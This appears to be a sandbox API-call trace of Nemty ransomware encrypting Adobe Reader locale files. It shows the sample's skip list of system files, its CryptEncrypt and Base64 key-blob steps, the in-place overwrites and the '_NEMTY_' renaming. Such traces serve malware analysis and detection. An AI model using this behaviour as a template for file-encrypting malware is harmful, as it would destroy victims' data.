RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0176.933] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.FRA", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0176.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.933] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.FRA", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.FRA", lpUsedDefaultChar=0x0) returned 17 [0176.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0176.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0176.933] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.FRA", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0176.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.933] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="accessibility.FRA", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="accessibility.FRA", lpUsedDefaultChar=0x0) returned 17 [0176.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0176.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.933] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0176.933] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.933] Sleep (dwMilliseconds=0x5) [0176.948] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d1dd150, dwHighDateTime=0x1d561e8)) [0176.948] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d1dd150, dwHighDateTime=0x1d561e8)) [0176.949] GetLastError () returned 0xb7 [0176.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.949] GetLastError () returned 0xb7 [0176.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0176.949] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.949] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.949] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.949] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="eW1N4WmUoAfzuj+PMyoZEytJ/ZnMbvthCWniPIDnV99KYyyuhPY7ZX2Ey3pgWVx0\r\nBZJCLyxQ5AZ3kdrcpm2a1jyEhs1tMk7WSmgURPL4GGZqGLq8K3PMB7JpffqS5hhx\r\n6t2+cMr/z8DG1JEugqR05+Mdk2u9uGGX0m3mLHtWoYbGWFqEF6GTAZ7yYIatTfDv\r\nFqfl94mHkD799TDoaHDBwlit2GvoD8uOkoN1ozsrnYci+lxw+Vzw6a3WyWEq8wWx\r\ndY7FdRiTktOrG0On8OBieM9W4uxQj7dGWPKyO46Pbi+dKC4LCcb500/Ow09IADAp\r\nNULbM+wXZIazCzPGxE1BNw==\r\n", pcchString=0x653e5dc) returned 1 [0176.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.949] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0176.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.949] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.949] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\accessibility.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\accessibility.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.950] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=46592) returned 1 [0176.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb600) returned 0x6352c48 [0176.950] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.950] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xb600, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xb600, lpOverlapped=0x0) returned 1 [0176.955] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.955] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xb600, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xb600, lpOverlapped=0x0) returned 1 [0176.955] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.955] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=46592, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xb600 [0176.955] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.955] CloseHandle (hObject=0x2e8) returned 1 [0176.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0176.955] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0176.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0176.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0176.956] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\accessibility.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\accessibility.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\accessibility.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\accessibility.fra._nemty_kgobjgd_")) returned 1 [0176.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.956] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e800, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Acroform.FRA", cAlternateFileName="")) returned 1 [0176.956] lstrcmpiW (lpString1="Acroform.FRA", lpString2=".") returned 1 [0176.956] lstrcmpiW (lpString1="Acroform.FRA", lpString2="..") returned 1 [0176.956] lstrcmpiW (lpString1="Acroform.FRA", lpString2="...") returned 1 [0176.957] lstrcmpiW (lpString1="Acroform.FRA", lpString2="windows") returned -1 [0176.957] lstrcmpiW (lpString1="Acroform.FRA", lpString2="$RECYCLE.BIN") returned 1 [0176.957] lstrcmpiW (lpString1="Acroform.FRA", lpString2="rsa") returned -1 [0176.957] lstrcmpiW (lpString1="Acroform.FRA", lpString2="NTDETECT.COM") returned -1 [0176.957] lstrcmpiW (lpString1="Acroform.FRA", lpString2="ntldr") returned -1 [0176.957] lstrcmpiW (lpString1="Acroform.FRA", lpString2="MSDOS.SYS") returned -1 [0176.957] lstrcmpiW (lpString1="Acroform.FRA", lpString2="IO.SYS") returned -1 [0176.957] lstrcmpiW (lpString1="Acroform.FRA", lpString2="boot.ini") returned -1 [0176.957] lstrcmpiW (lpString1="Acroform.FRA", lpString2="boot.ini") returned -1 [0176.957] lstrcmpiW (lpString1="Acroform.FRA", lpString2="AUTOEXEC.BAT") returned -1 [0176.957] lstrcmpiW (lpString1="Acroform.FRA", lpString2="ntuser.dat") returned -1 [0176.957] lstrcmpiW (lpString1="Acroform.FRA", lpString2="desktop.ini") returned -1 [0176.957] lstrcmpiW (lpString1="Acroform.FRA", lpString2="CONFIG.SYS") returned -1 [0176.957] lstrcmpiW (lpString1="Acroform.FRA", lpString2="RECYCLER") returned -1 [0176.957] lstrcmpiW (lpString1="Acroform.FRA", lpString2="BOOTSECT.BAK") returned -1 [0176.957] lstrcmpiW (lpString1="Acroform.FRA", lpString2="bootmgr") returned -1 [0176.957] lstrcmpiW (lpString1="Acroform.FRA", lpString2="programdata") returned -1 [0176.957] lstrcmpiW (lpString1="Acroform.FRA", lpString2="appdata") returned -1 [0176.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.FRA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.FRA", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.FRA", lpUsedDefaultChar=0x0) returned 12 [0176.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.FRA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.FRA", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.FRA", lpUsedDefaultChar=0x0) returned 12 [0176.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.FRA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.FRA", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.FRA", lpUsedDefaultChar=0x0) returned 12 [0176.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.957] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.957] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.FRA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.FRA", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.FRA", lpUsedDefaultChar=0x0) returned 12 [0176.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.958] Sleep (dwMilliseconds=0x5) [0176.964] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d2032b0, dwHighDateTime=0x1d561e8)) [0176.964] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d2032b0, dwHighDateTime=0x1d561e8)) [0176.964] GetLastError () returned 0x0 [0176.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.964] GetLastError () returned 0x0 [0176.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.964] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.964] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.964] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.964] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.965] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.965] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="hFEgi+0GlmJC3khaXz5yDw2ZwpOPWlwQzLQcBFUreebwqtehLJmIvfqkvhICDwaR\r\no977vq51G6I8drSXR5X+QdEaIWe5U6WJUmAjjjdtKA0RWkqe7LwWOcyysfy6GbW0\r\ncCYVxzwIrJfUyRmNp3ItENLH8JzsEihoeU0vPgmCHp6YIdKxCg9dnsjfeW94sZ6k\r\nvh/fQ8kQ44LojGUZaKOdMPln6o/BUa39efDF1Mt4fcU2F59JU/CqD8fN1y8pXqOK\r\nliVBx7vXQw+bqd5SL+6Vb9xe+xiKIAg3KRKZCcWq0P63L7u7kpc+9EVeYCpx8Smp\r\nzuSYpfUpySsPNT901TS+yQ==\r\n", pcchString=0x653e5dc) returned 1 [0176.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.965] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.965] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Acroform.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\acroform.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.966] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=452608) returned 1 [0176.966] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0176.966] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.966] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0176.977] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.977] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0176.977] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.977] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=452608, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6e800 [0176.978] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.979] CloseHandle (hObject=0x2e8) returned 1 [0176.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.979] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.979] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.979] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.979] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.979] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Acroform.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\acroform.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\Acroform.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\acroform.fra._nemty_kgobjgd_")) returned 1 [0176.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.980] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.980] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeCollabSync.FRA", cAlternateFileName="ADOBEC~1.FRA")) returned 1 [0176.980] lstrcmpiW (lpString1="AdobeCollabSync.FRA", lpString2=".") returned 1 [0176.980] lstrcmpiW (lpString1="AdobeCollabSync.FRA", lpString2="..") returned 1 [0176.980] lstrcmpiW (lpString1="AdobeCollabSync.FRA", lpString2="...") returned 1 [0176.980] lstrcmpiW (lpString1="AdobeCollabSync.FRA", lpString2="windows") returned -1 [0176.980] lstrcmpiW (lpString1="AdobeCollabSync.FRA", lpString2="$RECYCLE.BIN") returned 1 [0176.980] lstrcmpiW (lpString1="AdobeCollabSync.FRA", lpString2="rsa") returned -1 [0176.980] lstrcmpiW (lpString1="AdobeCollabSync.FRA", lpString2="NTDETECT.COM") returned -1 [0176.980] lstrcmpiW (lpString1="AdobeCollabSync.FRA", lpString2="ntldr") returned -1 [0176.981] lstrcmpiW (lpString1="AdobeCollabSync.FRA", lpString2="MSDOS.SYS") returned -1 [0176.981] lstrcmpiW (lpString1="AdobeCollabSync.FRA", lpString2="IO.SYS") returned -1 [0176.981] lstrcmpiW (lpString1="AdobeCollabSync.FRA", lpString2="boot.ini") returned -1 [0176.981] lstrcmpiW (lpString1="AdobeCollabSync.FRA", lpString2="boot.ini") returned -1 [0176.981] lstrcmpiW (lpString1="AdobeCollabSync.FRA", lpString2="AUTOEXEC.BAT") returned -1 [0176.981] lstrcmpiW (lpString1="AdobeCollabSync.FRA", lpString2="ntuser.dat") returned -1 [0176.981] lstrcmpiW (lpString1="AdobeCollabSync.FRA", lpString2="desktop.ini") returned -1 [0176.981] lstrcmpiW (lpString1="AdobeCollabSync.FRA", lpString2="CONFIG.SYS") returned -1 [0176.981] lstrcmpiW (lpString1="AdobeCollabSync.FRA", lpString2="RECYCLER") returned -1 [0176.981] lstrcmpiW (lpString1="AdobeCollabSync.FRA", lpString2="BOOTSECT.BAK") returned -1 [0176.981] lstrcmpiW (lpString1="AdobeCollabSync.FRA", lpString2="bootmgr") returned -1 [0176.981] lstrcmpiW (lpString1="AdobeCollabSync.FRA", lpString2="programdata") returned -1 [0176.981] lstrcmpiW (lpString1="AdobeCollabSync.FRA", lpString2="appdata") returned -1 